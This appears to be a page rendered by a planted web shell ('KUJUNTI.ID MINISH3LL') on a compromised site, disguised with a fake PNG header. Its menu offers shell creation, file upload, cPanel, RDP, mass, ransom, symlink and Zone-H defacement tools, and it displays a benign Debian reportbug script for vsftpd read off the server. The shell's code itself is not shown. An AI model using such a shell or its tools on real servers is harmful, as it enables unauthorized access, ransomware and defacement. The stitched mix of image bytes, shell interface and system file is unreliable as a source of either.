\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /usr/share/bug/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : //usr/share/bug/vsftpd


#!/bin/bash

cat <<EOF

Providing additional information can help diagnose problems with vsftpd.
Specifically, this would include:
- The system vsftpd log file.
- The /etc/vsftpd.conf file.

If this information is not relevant for your bug report or you have privacy
concerns, please choose no.

EOF

yesno "Do you want to provide additional information [Y|n]? " yep
[ "$REPLY" = yep ] || exit 0


REPORTBUG_VERSION=$(dpkg-query -f '${source:Version}' -W reportbug)
LOG_FILE='/var/log/vsftpd.log'
CONF_FILE='/etc/vsftpd.conf'

# Depending on whether reportbug is new enough, we either write the output of
# our various commands to a file and attach them to the report (this needs
# reportbug ≥ 6.5.0) or just write them to the body of the bug report.
if dpkg --compare-versions "$REPORTBUG_VERSION" ge "6.5.0"; then

    # We don’t clean up this directory because there is no way to know when
    # reportbug finished running, and reportbug needs the files around.
    # Given that those are just a couple of kilobytes in size and people
    # generally don’t file a lot of bugs, I don’t think it’s a big deal.
    DIR=$(mktemp -d)

    echo "-- BEGIN ATTACHMENTS --" >&3

    #
    # attach conf & log
    #
    if [ -f ${CONF_FILE} ] ; then
	cp ${CONF_FILE} ${DIR}
	echo ${DIR}/vsftpd.conf >&3
    fi

    echo "-- END ATTACHMENTS --" >&3
fi

© KUJUNTI.ID